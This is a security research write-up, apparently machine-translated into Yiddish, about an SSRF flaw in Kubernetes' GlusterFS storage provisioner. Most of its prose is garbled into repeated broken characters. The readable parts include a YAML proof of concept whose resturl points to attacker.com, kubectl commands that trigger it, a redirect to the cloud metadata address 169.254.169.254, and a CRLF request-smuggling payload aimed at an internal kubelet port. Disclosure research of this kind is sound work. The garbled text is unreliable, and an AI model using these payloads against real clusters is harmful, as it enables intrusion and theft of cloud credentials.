ื ืืืืฅ. ืืจืึทื ืกื.: ืื ืืืืจืื ืคืื ืืขื ืึทืจืืืงื ืจืขืื ืืื ืืขืืึทื ืืืขืื ืืื ืืื ืืขืจืืื ืฆื ืึทื ืืืขืงื ืื ืืืึทืื ืขืจืึทืืืืืื
ืืืขืจ ืืขื ืขื ืืืจ
ืืืจ ืืขื ืขื ืฆืืืื ืคืจืื ืฆืืืืืฉ ืืืืขืจืืืื ืจืืกืขืจืืฉืขืจื ืืืึธืก ืฆืืืึทืืขื ืืืกืงืึทืืืขืจื ืึท ืืืึทืื ืขืจืึทืืืืืื ืืื Kubernetes. ืืื ืืืขืจ ื ืขืืขื ืืขื ืขื Brice Augras ืืื Christophe Hauquiert, ืึธืืขืจ ืืืืฃ ืคืืืข Bug Bounty ืคึผืืึทืืคืึธืจืืก ืืืจ ืืขื ืขื ืืึทืืืืกื ืืื Reeverzax ืืื Hach ืจืืกืคึผืขืงืืืืืื:
-
ืืจืืก ืึทืืืจืึทืก -Groupe Asten Company ; -
Christophe Hauquiert - Kubernetes ืึทืจืืืืขืงื ืืื ื ืึธืงืืึท.
ืืืืก ืืื ืืขืฉืขื?
ืืขืจ ืึทืจืืืงื ืืื ืืื ืืืขืจ ืืืขื ืฆื ืืืืื ืืื ืึท ืคึผืจืึธืกื ืคืึธืจืฉืื ื ืคึผืจืืืขืงื ืึทื ืืงืกืคึผืขืงืืืืื ืคืืจืงืขืจื ืืื ืื ืืขืจืกื ืืงืกืืืืื ื ืคึผืึทืกืืจืื ื ืืื ืืขื ืืขืื ืคืื ืืฉืืง ืืึทื ืืขืจื (ืืคึผืืืช ืคึฟืึทืจ ืืืฆื).
ืืื ืืืจ ืืืกืืึธืืข ืืืืกื, ืืฉืืง ืืึทื ืืขืจื ืืึธืื ืึท ืคึผืึธืจ ืคืื ื ืึธืืืึทืืึทื ืคึฟืขืึดืงืืืื:
- ืืื ืืขืื ืืืืฃ ืคึผืืฆืข ืืื ืืืจ;
- ืืื ืึทืจืืขืื ืืืขื ืึทืืขืืขื ืึทื ืืขืจืฉ ืืื ืฉืืึธืคื ืืืง.
ืืืจ ืืขื ืขื ืงืืื ืืืกื ืขื ืฆื ืื ืึผืืืื: ืืืจ ืืืืฉืึทืืืึทืื ืืจืขืคื ืืืืฃ ืืืืงืขื ืื ืืื ืคืึทืจืืจืขื ืืขื ืฉืืึธืฃ ื ืขืื ืืึทืงืื ื. ืืืข ืจ ืืฒื ืข ืจ ืคื ื ื ื ื ืขืื ื ืื ื ืื ื ืืขืขื ืืืง ื ืืื ืฃ ื ืืฒืข ืจ ืืืืืขืฐืฒื ืืขื ื ืืืคื .
ืืืืืขืก ืืืจ ืืขื ืขื ืืขืืื ืืขื ืฆื ืืจืขืคื ืฆื ืืืกืงืืืืจื ืึธื ืืืื ืืื
11 ืืืืืืขืจ ื ืืืืืืื ืืืื ืืืจ ืืื ืืืืขืงืืขืืขืฆื ืืื ืืื ืืขืจ ืืืืกืคืืจืฉืื ื ืืื ืืขื ืขื ืืขืืื ืืขื ืฉืืืคื ืืื ืืขืจืคืจื, ืืืืขืจ ืฆืืคึฟืจืืื ืืื ืื ืจืขืืืืืืื. ืขืก ืืื ืืขืืืขื ืืืืึทื ืคืื ืืขื ืคืึธืจืฉืื ื ืึทื ืืืจ ืืึธืื ืืขืคึฟืื ืขื ืื MSRC Bug Bounty ืคึผืจืึธืืจืึทื ืืื ืืึธืื ืึท ืคึผืจืืืืืืขืืืข ืขืกืงืึทืืืจืื ื ืขืงืกืคึผืืืืืืืฉืึทื.
ืขืืืขืืข ืืืึธืื / ืืืฉืื ืืืจืืืขืืื ืืขื, ืืื ืืื ืืืขืจ ืืืืืขืจืืื ืจืขืืืืืึทื ืจืืืึทืืืื ืืื ืืืื ืขืจ ืคืื ืื ืืขืืกืื ืจืืืืึธืจืื ืืื ืืขืจ ืืขืฉืืืืข ืคืื โโืื Azure Cloud Bug Bounty - ืืื ืึทืืืฉืึทื ืฆื ืืขืจ ืืืึธืก ืืืจ ืืืงืืืขื ืคืื Kubernetes!
ืืึทืืืจื ืืืืฃ ืืื ืืืขืจ ืคืึธืจืฉืื ื ืคึผืจืืืขืงื, ืื Kubernetes ืคึผืจืึธืืืงื ืืืืขืจืืืื ืงืึทืืืื ืืจืืืก
ืืืฆื ืืื ืืืึธืื ืืื ืฆื ืคืึทืจืฉืคึผืจืืืื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ืืขืคึฟืื ืขื ืืืึทืื ืขืจืึทืืืืืื ืืื ืคืื ืืื ืืขืืืขื. ืืืจ ืืึธืคื ืืืจ ืึธืคึผืฉืึทืฆื ืื ืืขืคึฟืื ืขื ืืื ืืืืื ืื ืืขืื ืืฉ ืืขืืึทืืืก ืืื ืื ืืขืจืข ืืืืืืืืขืจ ืคืื ืื ืื ืคืึธืกืขืง ืงืื!
ืึทืืื ืืึธ ืก ืืื ืืืขืจ ืืขืฉืืืืข ...
ืงืึธื ืืขืงืกื
ืฆื ืืึทืื ืื ืืขืจืกื ืืื ืขื ืคืื ืืืึธืก ืืขืืจืืคื, ืืึธืืืจ ืขืจืฉืืขืจ ืงืืง ืืื Kubernetes ืึทืจืืขื ืืื ืึท ืืืึธืืงื ืืขืจืืื ืกืืืืืืข.
ืืืขื ืืืจ ืื ืกืืึทื ืืืื ืึท Kubernetes ืงื ืืื ืืื ืึทืืึท ืึท ืกืืืืืืข, ืื ืคืึทืจืืืึทืืืื ื ืฉืืืืข ืืื ืืืคึผืืงืื ืื ืคึฟืึทืจืึทื ืืืืึธืจืืืขืืงืืื ืคืื ืื ืืืึธืืงื ืฉืคึผืืึทืืขืจ:
ืื ืงืึธื ืืจืึธื ืฉืืืืข ืืื ืืืื ืืื ืื ืคึผืขืจืืืขืืขืจ ืคืื ืื ืืืึธืืงื ืฉืคึผืืึทืืขืจ, ืืฉืขืช ืื ืงืืืขืจื ืขืืขืก ื ืึธืืื ืืขื ืขื ืืืื ืืื ืื ืคึผืขืจืืืขืืขืจ ืคืื ืืขืจ ืงืื ื.
ืฆื ืืื ืึทืืืงืึทืืื ืึทืืึทืงืืื ืืืึทืืืืื, ืึท ืืขืงืึทื ืืืึทื ืืื ืืขื ืืฆื ืฆื ืืื ืึทืืืงืึทืืื ืฆืืฉืืขืื ืืื ืคึฟืื ืึท ืคืื ืืจืืืกื ืืืง ืกืืึธืจืืืืฉ ืืึทืงืขื ื ืืื ืคืึทืจืืืืึทืื ืืื ืืื ืคึผืืืง (ืคึผืขืจืกืืกืืขื ื ืืึทื ื ืคืึธืืขืจื, ื"ื ืึท ืืงืฉื ืคึฟืึทืจ ืึท ืืึทื ื).
ืืืื, ื ืึธื ืื ืคึผืืืง ืืื ืืืฉืืคื ืืื ืืขืืื ืื ืฆื ืื StorageClass ืืื ืื K8s ืงื ืืื, ืืืืึทืืขืจ ืึทืงืฉืึทื ื ืฆื ืฆืืฉืืขืื ืืขื ืืึทื ื ืืขื ืขื ืืืืขืจืืขื ืืืขื ืืืจื ืื ืงืื / ืืืึธืืงื ืงืึธื ืืจืึธืืืขืจ ืคืึทืจืืืึทืืืขืจ (ืืืึทื ืคึผืื ืืืขื ื ืึธืืขื ืืขืคึผืขื ืืก ืืืืฃ ืื ืืขืืืื ื). (ื ืืืืฅ. ืืจืึทื ืกื.: ืืืจ ืืึธืื ืฉืืื ืืขืฉืจืืื ืืขืจ ืืืขืื CCM ื ืืฆื ืื ืืืืฉืคึผืื ืคืื ืืืึทื ืืืคึผืืึทืืขื ืืืืฉืึทื ืคึฟืึทืจ ืืืื ืขืจ ืคืื ืื ืืืึธืืงื ืคึผืจืึทืืืืืืขืจื
ืขืก ืืขื ืขื ืขืืืขืืข ืืืืคึผืก ืคืื ืคึผืจืึทืืืืืฉืึทื ื ืืขืฉืืืฆื ืืืจื Kubernetes: ืจืืึฟ ืคืื ืืื ืืขื ืขื ืึทืจืืึทื ืืขืจืขืื ื ืืื
ืืื ืืื ืืืขืจ ืคืึธืจืฉืื ื, ืืืจ ืคืึธืืงืืกื ืืืืฃ ืื ืื ืขืจืืขื ืืึทื ื ืคึผืจืึทืืืืืฉืึทื ืืขืงืึทื ืืืึทื, ืืืึธืก ืืื ืืืึทืกืืจืืืืื ืืื ืื:
ืืื ืึทืืืฉ ืคึผืจืึทืืืืืฉืึทื ื ืคืื ืืืึทืืืืื ืืื ืื ืืขืืืื-ืืื Kubernetes ืคึผืจืึทืืืืืฉืึทื ื
ืืื ืงืืจืฅ, ืืืขื Kubernetes ืืื ืืืคึผืืืื ืืื ืึท ืืขืจืืื ืกืืืืืืข, ืื ืงืึธื ืืจืึธืืืขืจ ืคืึทืจืืืึทืืืขืจ ืืื ืื ืคึฟืึทืจืึทื ืืืืึธืจืืืขืืงืืื ืคืื ืื ืืืึธืืงื ืฉืคึผืืึทืืขืจ, ืึธืืขืจ ืื ืืขืื ืคึฟืึทืจ ืืึทื ื ืฉืึทืคืื ื (ื ืืืขืจ 3 ืืื ืื ืืืึทืืจืึทืืข ืืืืื) ืคืึทืจืืึธืื ืื ืื ืขืจืืขื ื ืขืฅ ืคืื ืื ืืืึธืืงื ืฉืคึผืืึทืืขืจ. ืืื ืืึธืก ืืื ืืื ืื ืืืื ืืืขืจื ืืึทืงืข ืืฉืืงืึทืืืข!
ืืึทืงืื ื ืกืฆืขื ืึทืจ
ืืื ืืขื ืึธืคึผืืืืืื ื, ืืืจ ืืืขืื ืืขืจืงืืขืจื ืืื ืืืจ ื ืืฆื ืื ืืืึธืจืงืคืืึธืื ืืขืจืืื ื ืืืืื ืืื ืึทืงืกืขืกื ืื ืื ืขืจืืขื ืจืขืกืืจืกื ืคืื ืื ืืืึธืืงื ืกืขืจืืืืก ืฉืคึผืืึทืืขืจ. ืขืก ืืืขื ืืืื ืืืืึทืื ืืืจ ืืื ืืืจ ืงืขื ืขื ืืืจืืคืืจื ืืืืขืจ ืึทืงืฉืึทื ื, ืึทืืึท ืืื ืืึทืงืืืขื ืื ืขืจืืขื ืงืจืึทืืขื ืืฉืึทืื ืึธืืขืจ ืขืกืงืึทืืืืืื ื ืคึผืจืืืืืืึทืืืฉืึทื.
ืืืื ืคึผืฉืื ืืึทื ืืคึผืืึทืืืืฉืึทื (ืืื ืืขื ืคืึทื, ืกืขืจืืืืก ืกืืื ืืขืื ืคืึธืจืืืฉืขืจื) ืืขืืึธืืคึฟื ืฆื ืืืื ืืืืึทืืขืจ ืคืื ืื ืงืืืขื ื ืกืืืืืืข ืืื ืงืืึทืกืืขืจื ืคืื ืคืึทืจืฉืืื ืกืขืจืืืืก ืคึผืจืึทืืืืืืขืจื ืืื ืืขืจ ืืขืจืืื ืง8ืก.
ืืื ืืื ืืืขืจ ืคืึธืจืฉืื ื ืืืจ ืคืึธืืงืืกื ืืืืฃ ืื GlusterFS ืคึผืจืึทืืืืืขืจ. ืืจืึธืฅ ืืขื ืคืึทืงื ืึทื ืื ืืืืึทืืขืจ ืกืืงืืืึทื ืก ืคืื ืึทืงืฉืึทื ื ืืื ืืืกืงืจืืืื ืืื ืืขื ืงืึธื ืืขืงืกื, Quobyte, StorageOS ืืื ScaleIO ืืขื ืขื ืกืึทืกืขืคึผืืึทืืึทื ืฆื ืืขืจ ืืขืืืืงืขืจ ืืืึทืื ืขืจืึทืืืืืื.
ืืืืืขื ืคืื ืืื ืึทืืืฉ ืืึทื ื ืคึผืจืึทืืืืืฉืึทื ืืขืงืึทื ืืืึทื
ืืขืฉืึทืก ืกืืึธืจืืืืฉ ืงืืึทืก ืึทื ืึทืืืกืืก ืืืืกืืขืจืคืก ืืื ืื Golang ืงืืืขื ื ืืงืืจ ืงืึธื ืืืจ resturl
ืืื ืฆืืืขืืขืื /volumes
.
ืืืจ ืืึทืฉืืึธืกื ืฆื ืืึทืงืืืขื ืืึทืคืจืืึทืขื ืคืื ืืขื ื ืึธื ืืืขื ืืืจื ืึทืืื ื #
ืืื ืคึผืึทืจืึทืืขืืขืจ resturl
. ืืึธ ืืื ืืขืจ ืขืจืฉืืขืจ YAML ืงืึทื ืคืืืืขืจืืืฉืึทื ืืืึธืก ืืืจ ืืขืืืืื ื ืฆื ืคึผืจืืืืจื ืคึฟืึทืจ ืึท ืืึทืื-ืืืื ื SSRF ืืืึทืื ืขืจืึทืืืืืื (ืืืจ ืงืขื ื ืืืืขื ืขื ืืขืจ ืืืขืื ืืึทืื-ืืืื ื ืึธืืขืจ ืืึทืื-ืืืื ื SSRF, ืคึฟืึทืจ ืืืึทืฉืคึผืื,
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
ืืขืจื ืึธื ืืืจ ืืขืืืืื ื ืื ืืืื ืขืจื ืฆื ืจืืืึธืืืื ืคืืจื ืื Kubernetes ืงื ืืื kubectl. ืืืคึผืืงืึทืืื, ืืืึธืืงื ืคึผืจืึทืืืืืืขืจื (Azure, Google, AWS, ืืื"ื ื) ืืึธืื ืืืจ ืืึทืงืืืขื ืงืจืึทืืขื ืืฉืึทืื ืคึฟืึทืจ ื ืืฆื ืืื ืืขื ื ืืฆื.
ืืึทื ืง ืฆื ืืขื, ืืื ืืื ืืืืืืช ืฆื ื ืืฆื ืืืื "ืกืคึผืขืฆืืขื" ืืขืงืข. Kube-controller-manager ืขืงืกืึทืงืืืืึทื ืื ืจืืืึทืืืื ื ืืืืคึผ ืืขืื:
kubectl create -f sc-poc.yaml
ืืขืจ ืขื ืืคืขืจ ืคืื ืื ืึทืืึทืงืขืจ ืก ืคืื ื ืคืื ืืืื ืื ื
ืืืื ื ืึธื ืืขื, ืืืจ ืืขื ืขื ืืืื ืืืืืืช ืฆื ืืึทืงืืืขื ืึท ืืืืคึผ ืขื ืืคืขืจ ืคืื ืื ืฆืื ืกืขืจืืืขืจ - ืืืจื ืื ืงืึทืืึทื ืื describe pvc
ืึธืืขืจ get events
ืืื ืงืืืืงืื. ืืื ืืึทืงืข: ืืขื ืคืขืืืงืืึทื Kubernetes ืฉืึธืคืขืจ ืืื ืฆื ืืืขืจืืึธืืก ืืื ืืืื ืืืึธืจื ืื ืื / ืืขืืช ืึทืจืืืงืืขื ...
ืืึธ ืืื ืึท ืืืึทืฉืคึผืื ืืื ืึท ืืื ืง ืฆื https://www.google.fr
ืฉืืขืื ืืื ืคึผืึทืจืึทืืขืืขืจ resturl
:
kubectl describe pvc poc-ssrf
# ะธะปะธ ะถะต ะผะพะถะตัะต ะฒะพัะฟะพะปัะทะพะฒะฐัััั kubectl get events
ืืื ืืขื ืฆืืืึทื ื, ืืืจ ืืขื ืขื ืืืืืืขื ืฆื ืคึฟืจืืื ืืื ืืืืคึผ ืคึผืึธืกืื ืืื ืงืขื ื ืืฉื ืืึทืงืืืขื ืื ืืื ืืึทืื ืคืื ืื ืขื ืืคืขืจ ืืืฃ ืืืื ืืขืจ ืฆืืจืืงืงืขืจ ืงืึธื ืืื ืืขืืืขื 201. ืืขืจืืืขืจ, ืืืจ ืืึทืฉืืึธืกื ืฆื ืืืจืืคืืจื ื ืึธื ืคืึธืจืฉืื ื ืืื ืืงืกืคึผืึทื ืืื ืืขื ืืึทืงืื ื ืกืฆืขื ืึทืจ ืืื ื ืืึทืข ืึทืคึผืจืึธืืืฉืื.
ืื ืขืืืึธืืืฆืืข ืคืื โโืืื ืืืขืจ ืคืึธืจืฉืื ื
- ืึทืืืึทื ืกืืจืืข ืกืฆืขื ืึทืจ #1: ื ืืฆื ืึท 302 ืจืืืขืจืขืงื ืคืื ืึท ืคืื ืืจืืืกื ืืืง ืกืขืจืืืขืจ ืฆื ืืืืฉื ืื ืืืืคึผ ืืืคึฟื ืฆื ืฆืืฉืืขืื ืึท ืืขืจ ืคืืขืงืกืึทืืึทื ืืืขื ืฆื ืืึทืืืขื ืื ืขืจืืขื ืืึทืื.
- ืึทืืืึทื ืกืืจืืข ืกืฆืขื ืึทืจ #2: ืึทืืืึธืืึทืืข ืืึทื ืกืงืึทื ืื ื ืืื ืื ืขืจืืขื ืจืืกืึธืจืก ืืคืืขืงืื ื.
- ืึทืืืึทื ืกืืจืืข ืกืฆืขื ืึทืจ #3: ื ืืฆื HTTP CRLF + ืกืืึทืืึทืืื ื ("ืืขืื ืกืืึทืืึทืืื ื") ืฆื ืฉืึทืคึฟื ืืืืืขืจื ืืืืคึผ ืจืืงืืืขืก ืืื ืฆืืจืืงืงืจืืื ืืึทืื ืืงืกืืจืึทืงืืื ืคืื ืงืื-ืงืึธื ืืจืึธืืืขืจ ืืึธืืก.
ืืขืื ืืฉ ืกืคึผืขืกืึทืคืึทืงืืืฉืึทื ื
- ืื ืคืึธืจืฉืื ื ืืขื ืืฆื Azure Kubernetes Service (AKS) ืืื Kubernetes ืืืขืจืกืืข 1.12 ืืื ืื ืฆืคืื ืืืืจืึธืคึผืข ืืขืื ื.
- ืื ืืืืื ืืืกืงืจืืืื ืกืื ืขืจืืึธืื ืืขื ืขื ืขืงืกืึทืงืืืืึทื ืืืืฃ ืื ืืขืฆืืข ืจืืืืกืื ืคืื Kubernetes, ืืื ืื ืืืกื ืขื ืคืื ืื ืืจืื ืกืฆืขื ืึทืจ, ืืืืึทื ืขืจ ืืืจืฃ ืงืืืขืจื ืขืืขืก ืืขืืืื ืืื Golang ืืืขืจืกืืข โค 1.12.
- ืึทืืึทืงืขืจ ืก ืคืื ืืจืืืกื ืืืง ืกืขืจืืืขืจ -
https://attacker.com
.
ืึทืืืึทื ืกืืจืืข ืกืฆืขื ืึทืจ #1: ืจืืืขืจืขืงืืื ื ืึท HTTP POST ืืขืื ืฆื ืืึทืงืืืขื ืืื ืืึทืงืืืขื ืฉืคึผืืจืขืืืืืง ืืึทืื
ืืขืจ ืึธืจืืืื ืขื ืืืคึฟื ืืื ืืืคึผืจืืืื ืืืจื ืื ืงืึทื ืคืืืืขืจืืืฉืึทื ืคืื ืื ืึทืืึทืงืขืจ ืก ืกืขืจืืืขืจ ืฆื ืฆืืจืืงืงืืืขื 302 ืืืืคึผ ืจืขืงืึธืืขืฆื ืงืึธื ืืืขืจื ืึท POST ืืขืื ืฆื ืึท GET ืืขืื (ืฉืจืื 4 ืืื ืื ืืืึทืืจืึทืืข):
ืขืจืฉืืขืจ ืืงืฉื (3) ืงืืื ืคืื ืืขื ืงืืืขื ื ืืืืกืืขืจืคืก (ืงืึธื ืืจืึธืืืขืจ ืืึทื ืึทืืขืจ), ืืื ืึท POST ืืืคึผ. ืืืจื ื ืึธืืคืึธืืื ืื ืกืืขืคึผืก ืืืจ ืืขื ืขื ืืืืืืช ืฆื ืืืขื ืื ืขืก ืืื ืึท GET:
- ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ
resturl
ืืื StorageClass ืขืก ืืื ืื ืืขืืืืืhttp://attacker.com/redirect.php
. - Endpoint
https://attacker.com/redirect.php
ืจืืกืคึผืึทื ืื ืืื ืึท 302 ืืืืคึผ ืกืืึทืืืก ืงืึธื ืืื ืื ืคืืืืขื ืืข ืึธืจื ืืขืืขืจ:http://169.254.169.254
. ืืึธืก ืงืขื ืืืื ืงืืื ืื ืืขืจืข ืื ืขืจืืขื ืืืื - ืืื ืืขื ืคืึทื, ืื ืจืืืขืจืขืงื ืืื ืง ืืื ืืืืื ืืขื ืืฆื ืืื ืึท ืืืึทืฉืคึผืื. - ืืืจื ืคืขืืืงืืึทื ื ืขืฅ / ืืืืคึผ ืืืืืืึธืืขืง Golang ืจืืืขืจืขืงืฅ ืื ืืขืื ืืื ืงืึทื ืืืขืจืฅ ืื POST ืฆื ืึท GET ืืื ืึท 302 ืกืืึทืืืก ืงืึธื, ืจืืืึทืืืื ื ืืื ืึท HTTP GET ืืขืื ืฆื ืื ืฆืื ืืืื.
ืฆื ืืืืขื ืขื ืื HTTP ืขื ืืคืขืจ ืืืฃ ืืืจ ืืึทืจืคึฟื ืฆื ืืึธื describe
PVC ืืืืคืขืฅ:
kubectl describe pvc xxx
ืืึธ ืืื ืึท ืืืืฉืคึผืื ืคืื ืึท HTTP ืขื ืืคืขืจ ืืื JSON ืคึฟืึธืจืืึทื ืืืึธืก ืืืจ ืืขื ืขื ืืืืืืช ืฆื ืืึทืงืืืขื:
ืื ืงืืืคึผืึทืืืืึทืืื ืคืื ืื ืืขืคึฟืื ืขื ืืืึทืื ืขืจืึทืืืืืื ืืื ืืขืจ ืฆืืื ืืขื ืขื ืืืืืืขื ืจืขืื ืฆื ืื ืคืืืืขื ืืข ืคืื ืงืื:
- ืื ืึทืืืืืื ืฆื ืึทืจืืึทื ืืืืื ืืืืคึผ ืืขืืขืจื ืืื ืึทืืืืึธืืื ื ืืขืื.
- ืื ืึทืืืืืื ืฆื ืืืจืืคืืจื ืึท POST ืืขืื ืืื ืคึผืึทืจืึทืืขืืขืจืก ืืื ืืขื ืืืฃ (ืืึธืก ืืื ืืึทืงืืืขื ืฆื ืืขืื ืื ืฉืืืกื ืืืขืจื ืคืื ืึทื ืขืืง ืืืึทืฉืคึผืื ืคืืืกื ืืืง ืืืืฃ 2379 ืคึผืึธืจื ืืืื ืื ืขื ืงืจืืคึผืืื ืืืืคึผ ืืื ืืขื ืืฆื).
- ืื ืึทืืืืืื ืฆื ืฆืืจืืงืงืจืืื ืขื ืืคืขืจ ืืืฃ ืืื ืืึทืื ืืืขื ืื ืกืืึทืืืก ืงืึธื ืืื ืืขืืืขื 200 ืืื ืืขืจ ืขื ืืคืขืจ ืืื ื ืืฉื ืืึธืื ืึท JSON ืืื ืืึทืื ืืืคึผ.
ืึทืืืึทื ืกืืจืืข ืกืฆืขื ืึทืจ #2: ืกืงืึทื ืื ื ืื ืืืืข ื ืขืฅ
ืืขืจ ืืึทืื-ืืืื ื SSRF ืืืคึฟื ืืื ืืึทื ืืขื ืืฆื ืฆื ืืืขืจืงืืงื ืื ืืืึธืืงื ืคึผืจืึทืืืืืืขืจ ืก ืื ืขืจืืขื ื ืขืฅ ืืื ืึทื ืงืขืืข ืคืึทืจืฉืืื ืฆืืืขืืขืจื ืืึทืืื ืื ืืก (ืืขืืึทืืึทืืึท ืืืึทืฉืคึผืื, Kubelet, ืขืืง, ืืื"ื ื) ืืืืืจื ืืืืฃ ืื ืจืขืกืคึผืึธื ืกืขืก. ืงืื ืงืึธื ืืจืึธืืืขืจ.
ืขืจืฉืืขืจ, ืื ื ืึธืจืืึทื ืฆืืืขืืขืจื ืคึผืึธืจืฅ ืคืื Kubernetes ืงืึทืืคึผืึธืื ืึทื ืฅ ืืขื ืขื ืืืฉืืืกื (8443, 10250, 10251, ืืื"ื ื), ืืื ืืขืืึธืื ืืืจ ืืึธืื ืฆื ืึธืืึทืืืื ืื ืกืงืึทื ืื ื ืคึผืจืึธืฆืขืก.
ืืขืขื ืืืง ืึทื ืืขืจ ืืืคึฟื ืคืื ืกืงืึทื ืื ื ืจืขืกืืจืกื ืืื ืืืืขืจ ืกืคึผืขืฆืืคืืฉ ืืื ืืื ื ืืฉื ืงืึทืืคึผืึทืืึทืืึทื ืืื ืงืืึทืกืืฉ ืกืงืึทื ืขืจื ืืื SSRF ืืืฉืืจืื, ืืืจ ืืึทืฉืืึธืกื ืฆื ืฉืึทืคึฟื ืืื ืืืขืจ ืืืืืขื ืข ืืืึธืจืงืขืจืก ืืื ืึท ืืึทืฉ ืฉืจืืคื ืืืึธืก ืึธืืึทืืืื ืื ืืื ืฆืข ืคึผืจืึธืฆืขืก.
ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืื ืกืืจ ืฆื ืืขืฉืืืื ื ืืืขืจืงืืงื ืื ืงืืื 172.16.0.0/12 ืคืื ืื ืื ืขืจืืขื ื ืขืฅ, 15 ืืืขืจืก ืืขื ืขื ืืึธื ืืฉื ืืื ืคึผืึทืจืึทืืขื. ืื ืืืืื IP ืงืืื ืืื ืืืืกืืขืงืืืื ืืืืื ืืื ืึท ืืืืฉืคึผืื ืืื ืงืขื ืืืื ืืื ืืขืจืืขื ืืง ืฆื ืื IP ืงืืื ืคืื ืืืื ืกืคึผืขืฆืืคืืฉ ืกืขืจืืืืก ืฉืคึผืืึทืืขืจ.
ืฆื ืืืขืจืงืืงื ืืืื IP ืึทืืจืขืก ืืื ืืืื ืคึผืึธืจื, ืืืจ ืืึทืจืคึฟื ืฆื ืืึธื ืื ืคืืืืขื ืืข:
- ืืืกืืขืงื ืื ืืขืฆืืข ืึธืคึผืืขืฉืืขืื StorageClass;
- ืึทืจืึธืคึผื ืขืืขื ืื ืคืจืืขืจืืืงืข ืืืขืจืึทืคืืื ืคึผืขืจืกืืกืืขื ื ืืื ื ืคืึธืืขืจื;
- ืืืืฉื ืื IP ืืื ืคึผืึธืจื ืืืึทืืืขืก ืืื
sc.yaml
; - ืฉืึทืคึฟื ืึท StorageClass ืืื ืึท ื ืืึทืข IP ืืื ืคึผืึธืจื;
- ืฉืึทืคึฟื ืึท ื ืืึท ืคึผืืืง;
- ืขืงืกืืจืึทืงื ืืืขืจืงืืงื ืจืขืืืืืึทืื ื ืืฆื ืืืกืงืจืืืืื ื ืคึฟืึทืจ ืคึผืืืง.
ืึทืืืึทื ืกืืจืืข ืกืฆืขื ืึทืจ #3: CRLF ืื ืืืฉืขืงืฉืึทื + ืกืืึทืืึทืืื ื ืืืืคึผ ืืื "ืึทืื" ืืืขืจืกืืขืก ืคืื ืื Kubernetes ืงื ืืื
ืืืื ืืื ืึทืืืฉืึทื ืฆื ืืขื, ืืขืจ ืฉืคึผืืึทืืขืจ ืืขืคึฟืื ื ืงืืืืึทื ืฅ ืึทืื ืืืขืจืกืืขืก ืคืื ืื ืง8ืก ืงื ืืื ะธ ืืขืืขืื ืืื ืึทืงืกืขืก ืฆื ืื ืืึธืืก ืคืื ืื ืงืืืข-ืงืึธื ืืจืึธืืืขืจ-ืคืึทืจืืืึทืืืขืจ, ืื ืืืืจืงืื ื ืืื ืืขืืืืจื ืืคืืื ืืขืจ ืืึทืืืืืืง.
ืขืก ืืื ืืึทืงืข ืคืื ืืขืจ ืืึทืงืืืขื ืคึฟืึทืจ ืึท ืึทืืึทืงืขืจ ืฆื ืืืืฉื ืืืืคึผ ืจืืงืืืขืก ืืืืืื ื ืฆื ืืึทืงืืืขื ืึท ืคืื ืืืืคึผ ืขื ืืคืขืจ ืืืื ืืืื ืืืกืงืจืขืฉืึทื.
ืฆื ืื ืกืืจืืืขื ื ืื ืืขืฆืืข ืกืฆืขื ืึทืจ, ืื ืคืืืืขื ืืข ืื ืึธืื ืืึธืื ืฆื ืืืื ืืืืขืื ื:
- ืืขืจ ืืึทื ืืฆืขืจ ืืืื ืืึธืื ืึทืงืกืขืก ืฆื ืงืืืข-ืงืึธื ืืจืึธืืืขืจ-ืคืึทืจืืืึทืืืขืจ ืืึธืืก (ืืื, ืืืฉื, ืืื Azure LogInsights).
- ืื Kubernetes ืงื ืืื ืืืื ื ืืฆื ืึท ืืืขืจืกืืข ืคืื โโโโGolang ื ืืืขืจืืงืขืจ ืืื 1.12.
ืืืจ ืืึธืื ืืืคึผืืืื ืึท ืืืืข ืกืืืืืืข ืืืึธืก ืกืืืืึทืืืืืื ืงืึธืืื ืืงืึทืฆืืข ืฆืืืืฉื ืื GlusterFS Go ืงืืืขื ื ืืื ืึท ืฉืืืื ืื ืฆืื ืกืขืจืืืขืจ (ืืืจ ืืืขืื ืึธืคึผืืึทืืื ืคืื ืืจืืืกืืขืื ืื PoC ืคึฟืึทืจ ืืืฆื).
ืืื ืืขืคืื ืขื
ืืืจื ืงืึทืืืืื ืื ื ืื ืืึทืื-ืืืื ื SSRF ืืืกืงืจืืืื ืืืืื ะฒะผะตััะต ืืื ืืขื, ืืืจ ืืขื ืขื ืืืืืืช ืฆื ืฉืืงื ืจืืงืืืขืก ืฆื ืืื ืืืขืจ ืืืืงืื ื, ืึทืจืืึทื ืืขืจืขืื ื ืจืืคึผืืืืกืื ื ืืขืืขืจื, ืืืืคึผ ืืืคึฟื, ืคึผืึทืจืึทืืขืืขืจืก ืืื ืืึทืื, ืืืึธืก ืงืืืข-ืงืึธื ืืจืึธืืืขืจ-ืคืึทืจืืืึทืืืขืจ ืืขืืึธืื ืคึผืจืึทืกืขืกื.
ืืึธ ืืื ืึท ืืืึทืฉืคึผืื ืคืื ืึท ืืจืืขืื "ืืขืงืขืื" ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ resturl
StorageClass, ืืืึธืก ืืืคึผืืึทืืึทื ืฅ ืึท ืขื ืืขื ืืึทืคืึทืื ืกืฆืขื ืึทืจ:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
ืืขืจ ืจืขืืืืืึทื ืืื ืึท ืืขืืช ืึทื ืกืึทืืืกืืืื ืขื ืืคืขืจ, ืึท ืึธื ืืึธื ืืืขืื ืืืึธืก ืืื ืจืขืงืึธืจืืขื ืืื ืื ืงืึธื ืืจืึธืืืขืจ ืืึธืืก. ืืึทื ืง ืฆื ืืืขืจืืึธืกืืื ืขื ืืืืึทืื ืืืจื ืคืขืืืงืืึทื, ืืขืจ ืืื ืืึทืื ืคืื ืื ืืืืคึผ ืขื ืืคืขืจ ืึธื ืืึธื ืืื ืืืื ืืขืจืืืขืืืขื ืืึธืจื.
